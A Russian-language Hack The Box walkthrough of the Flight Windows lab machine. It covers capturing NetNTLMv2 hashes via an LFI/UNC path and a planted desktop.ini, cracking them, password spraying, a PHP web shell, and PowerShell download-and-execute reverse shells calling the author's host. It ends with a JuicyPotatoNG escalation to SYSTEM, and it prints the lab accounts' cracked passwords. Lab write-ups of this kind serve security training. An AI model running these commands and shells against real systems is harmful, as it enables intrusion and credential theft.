Хакер - HTB Flight. Повышаем привилегии в Windows

Хакер - HTB Flight. Повышаем привилегии в Windows

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий
  • SeImpersonatePrivilege

В этом рай­тапе я покажу, как похищать пароли поль­зовате­лей Windows раз­ными спо­соба­ми, пос­ле чего мы зах­ватим веб‑сер­вер, прой­дя по цепоч­ке уяз­вимос­тей, которые поз­волят нам раз за разом повышать при­виле­гии.

На­ша цель — получить пра­ва супер­поль­зовате­ля на тре­ниро­воч­ной машине Flight с пло­щад­ки Hack The Box. Машина оце­нена как слож­ная.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.187 flight.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

В резуль­татах ска­ниро­вания видим мно­го откры­тых пор­тов, что типич­но для Windows:

  • 53 — служ­ба DNS;
  • 80 (HTTP) — веб‑сер­вер Apache 2.4.52;
  • 88 — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP/RPC/EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 5985 — служ­ба уда­лен­ного управле­ния WinRM;
  • 9389 — веб‑служ­бы AD DS.

Ано­ним­ная аутен­тифика­ция ниг­де не дос­тупна, поэто­му идем на веб‑сер­вер.

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

На стар­товой стра­нице ничего най­ти не уда­лось, поэто­му необ­ходимо рас­ширить область тес­тирова­ния. Самый оче­вид­ный спо­соб — перебо­ром поис­кать скры­тые домены и катало­ги. Я это делаю при помощи ска­нера ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fs — филь­тр, исклю­чающий стра­ницы по раз­меру;
  • -H — HTTP-заголо­вок.

Мес­то перебо­ра помеча­ем сло­вом FUZZ.

Ко­ман­да получа­ется сле­дующая:

ffuf -u 'http://flight.htb' -w subdomains-top1million-110000.txt -H "Host: FUZZ.flight.htb" -t 256 --fs 7069

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

На­ходим новый под­домен и вно­сим его в файл /etc/hosts.

10.10.11.187 flight.htb school.flight.htb

Глав­ная стра­ница сай­та school.flight.htb

Об­рати вни­мание, что заг­ружа­емая стра­ница ука­зыва­ется в качес­тве парамет­ра view. Про­верим, нет ли здесь уяз­вимос­ти LFI, и ука­жем в парамет­ре view файл index.php.

http://school.flight.htb/index.php?view=index.php

Ре­зуль­тат про­вер­ки LFI

Ви­дим на стра­нице какой‑то код на PHP. Сто­ит озна­комить­ся с ним поб­лиже.

Ис­ходный код стра­ницы

Мы узна­ем путь к фай­лам сай­та, а так­же исполь­зуемые для обра­бот­ки парамет­ра филь­тры. Так как не филь­тру­ется пос­ледова­тель­ность //, мы можем зас­тавить веб‑сер­вер обра­тить­ся к любому уда­лен­ному сер­веру. При этом Windows попыта­ется авто­ризо­вать­ся на ука­зан­ном ресур­се, и мы получим NetNTLMv2-хеш пароля поль­зовате­ля веб‑сер­вера. Что­бы ловить такие хеши, запус­каем на локаль­ном хос­те ути­литу Responder.

sudo responder -v -I tun0

Те­перь ука­зыва­ем свой адрес и ловим хеш.

http://school.flight.htb/index.php?view=//10.10.14.16/share

Ло­ги Responder

От­прав­ляем хеш на перебор, в качес­тве режима hashcat (параметр -m) ука­зыва­ем 5600, соот­ветс­тву­ющий хешу NetNTLMv2.

hashcat -m 5600 5600.hash rockyou.txt

Ре­зуль­тат перебо­ра хеша

Про­веря­ем учет­ные дан­ные на при­мере служ­бы SMB с помощью CrackMapExec.

crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'

Про­вер­ка учет­ных дан­ных

Учет­ные дан­ные вер­ны, поэто­му получа­ем дос­тупные сетевые ресур­сы и спи­сок поль­зовате­лей.

crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users --shares

Ре­зуль­тат выпол­нения зап­роса

ТОЧКА ОПОРЫ

Да­вай под­клю­чим­ся к обще­му ресур­су Web и прос­мотрим его содер­жимое.

impacket-smbclient flight.htb/svc_apache:'S@Ss!K@*t13'@10.10.11.187

Со­дер­жимое SMB-ресур­са Web

Ни­чего, кро­ме катало­гов сай­тов, там не находим. Одна­ко текущая учет­ная запись — слу­жеб­ная, и у поль­зовате­ля, ско­рее все­го, есть еще и основная. Поп­робу­ем зай­ти в дру­гие учет­ки с тем же паролем.

crackmapexec smb 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success

Спрей най­ден­ного пароля

По­луча­ем еще одну под­кон­троль­ную учет­ную запись. Теперь про­веря­ем, какие общие катало­ги дос­тупны новому поль­зовате­лю.

crackmapexec smb 10.10.11.187 -u 'S.Moon' -p 'S@Ss!K@*t13' --shares

Дос­тупные общие ресур­сы SMB

Для записи дос­тупен каталог Shared. Боль­ше ничего най­ти не уда­лось, ресурс ока­зал­ся пус­тым. Тог­да воз­никла идея похитить NetNTLMv2-пароли дру­гим спо­собом. В этот раз будем исполь­зовать файл desktop.ini, в котором параметр IconResource ука­зыва­ет на наш внеш­ний ресурс.

[.ShellClassInfo]

IconResource=\\10.10.14.51\share

Лю­бой поль­зователь, который прос­мотрит этот каталог, авто­мати­чес­ки обра­тит­ся к нашему ресур­су и при этом пре­дос­тавит учет­ные дан­ные.

impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@10.10.11.187

Со­дер­жимое обще­го ресур­са

Спус­тя некото­рое вре­мя пос­ле заг­рузки фай­ла получа­ем учет­ные дан­ные поль­зовате­ля c.bum.

sudo responder -v -I tun0

NetNTLMv2-хеш поль­зовате­ля

Бру­тим получен­ный хеш тем же методом, что и рань­ше.

hashcat -m 5600 5600.hash rockyou.txt

Ре­зуль­тат под­бора пароля

Та­ким обра­зом получа­ем еще одну под­кон­троль­ную учет­ную запись. И сно­ва прос­матри­ваем дос­тупные в новом кон­тек­сте сетевые ресур­сы SMB.

crackmapexec smb 10.10.11.187 -u 'c.bum' -p 'Tikkycoll_431012284' --shares

Дос­тупные общие ресур­сы SMB

Те­перь у нас есть пра­во записи в каталог Web, а это зна­чит, что мы можем помес­тить туда веб‑шелл и получить дос­туп к хос­ту. Будем исполь­зовать самый прос­той шелл на PHP.

<?php echo system($_GET['cmd']); ?>

Заг­ружа­ем его в каталог сай­та school и про­буем выпол­нить коман­ду whoami.

impacket-smbclient flight.htb/c.bum:'Tikkycoll_431012284'@10.10.11.187

Заг­рузка фай­ла в каталог

curl 'http://school.flight.htb/shell.php?cmd=whoami'

ПРОДВИЖЕНИЕ

Те­перь проб­росим реверс‑шелл, для чего будем исполь­зовать инс­тру­мент Villain. Пос­ле уста­нов­ки и запус­ка сра­зу генери­руем наг­рузку.

generate os=windows lhost=tun0

Наг­рузка Villain

За­писы­ваем сге­нери­рован­ную наг­рузку в файл (у меня r.ps1) и запус­каем на уда­лен­ном хос­те через PowerShell.

curl 'http://school.flight.htb/shell.php?cmd=powershell.exe+IEX(New-Object%20Net.WebClient).DownloadString(%27http://10.10.14.51/r.ps1%27)'

Сес­сия Villain

Пе­реиме­нуем сес­сию и получим шелл.

alias shell1 09ca02b5-095cd2df-b11c673a

shell shell1

Пе­реиме­нова­ние сес­сии
Со­дер­жимое рабоче­го сто­ла поль­зовате­ля

На рабочем сто­ле нет фла­га, а зна­чит, это не целевой поль­зователь. Так как мы зна­ем учет­ные дан­ные поль­зовате­ля c.bum, то можем его имперсо­ниро­вать. Для это­го исполь­зуем PowerShell-вер­сию ути­литы RunasCs. Заг­ружа­ем скрипт со сво­его хос­та, переда­ем учет­ные дан­ные и выпол­няемую коман­ду.

IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.51/Invoke-RunasCs.ps1")

Invoke-RunasCs c.bum Tikkycoll_431012284 whoami

Ре­зуль­тат выпол­нения коман­ды whoami в кон­тек­сте дру­гого поль­зовате­ля

Все получи­лось, поэто­му кида­ем дру­гой реверс‑шелл в кон­тек­сте нового поль­зовате­ля.

Invoke-RunasCs c.bum Tikkycoll_431012284 "powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.51/r.ps1')"

Но­вая сес­сия Villain

Как толь­ко при­шел бэк­коннект, меня­ем имя сес­сии, получа­ем шелл и про­веря­ем флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

По­луча­ем пол­ную информа­цию о поль­зовате­ле, что­бы понимать кон­текст, в котором мы работа­ем.

whoami /all

Ин­форма­ция о текущем поль­зовате­ле

Поль­зователь сос­тоит в груп­пе WebDevs, при этом на дис­ке C находим каталог inetpub\development.

Со­дер­жимое катало­га development

Струк­тура катало­гов типич­на для веб‑сер­вера Microsoft IIS, хотя изна­чаль­но мы работа­ли в Apache. Прос­мотрим спи­сок исполь­зуемых пор­тов.

netstat /an

Спи­сок исполь­зуемых пор­тов

На­ходим веб‑порт 8000. Что­бы получить дос­туп к нему, нуж­но пос­тро­ить тун­нель, для чего будем исполь­зовать chisel. На локаль­ном хос­те запус­тим сер­вер, ожи­дающий под­клю­чения (параметр --reverse) на порт 4321 (параметр -p).

./chisel.bin server --reverse -p 4321

Те­перь на уда­лен­ном хос­те запус­тим кли­ент­скую часть. Ука­зыва­ем адрес сер­вера и порт для под­клю­чения, а так­же тип тун­неля — socks.

.\c.exe client 10.10.14.51:4321 R:socks

В логах сер­вера дол­жны уви­деть сооб­щение о соз­дании сес­сии.

Ло­ги сер­вера chisel

Для тун­нелиро­вания тра­фика нас­тро­им proxychains, для это­го в фай­ле кон­фигура­ций /etc/proxychains.conf сде­лаем такую запись:

socks5 127.0.0.1 1080

Ска­ниру­ем пор­ты 80 и 8000 и убеж­даем­ся, что за них отве­чают раз­ные веб‑сер­веры.

proxychains -q nmap -p80,8000 -A -Pn 127.0.0.1

Ре­зуль­тат ска­ниро­вания пор­тов

Так как мы в груп­пе раз­работ­чиков, мы можем записы­вать в каталог сай­та. Записы­ваем любой ASPX-шелл (в интерне­те их мно­го) и заходим через бра­узер.

wget http://10.10.14.51/shell.aspx -OutFile C:\inetpub\development\s.aspx

Заг­рузка ASPX-шел­ла
Ре­зуль­тат выпол­нения коман­ды whoami

SeImpersonatePrivilege

Так как мы работа­ем от име­ни веб‑сер­вера IIS, у нас акти­виро­вана при­виле­гия SeImpersonatePrivilege. Как говорит Microsoft:

Прис­воение поль­зовате­лю пра­ва «Оли­цет­ворять кли­ента пос­ле про­вер­ки под­линнос­ти» раз­реша­ет прог­раммам, запущен­ным от име­ни дан­ного поль­зовате­ля, оли­цет­ворять кли­ента. Исполь­зование дан­ного парамет­ра пре­дот­вра­щает оли­цет­ворение неав­торизо­ван­ными сер­верами кли­ентов, под­клю­чающих­ся к этим сер­верам с помощью про­цедур RPC или име­нован­ных каналов.

Де­ло в том, что мы можем под­нять свои пра­ва до SYSTEM, исполь­зуя один из экс­пло­итов семей­ства Potato. Я взял пос­ледний — JuicyPotatoNG. Запус­каем прог­рамму, а в качес­тве целево­го про­цес­са выбира­ем PowerShell, запус­кающий наг­рузку с нашего хос­та.

C:\Users\Public\Downloads\jp.exe -t * -p "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-c IEX(New-ObjectNet.WebClient).DownloadString('http://10.10.14.51:88/r3.ps1')"

Сес­сии Villain

Ви­дим, что в Villain появи­лась новая сес­сия в кон­тек­сте сис­темы.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page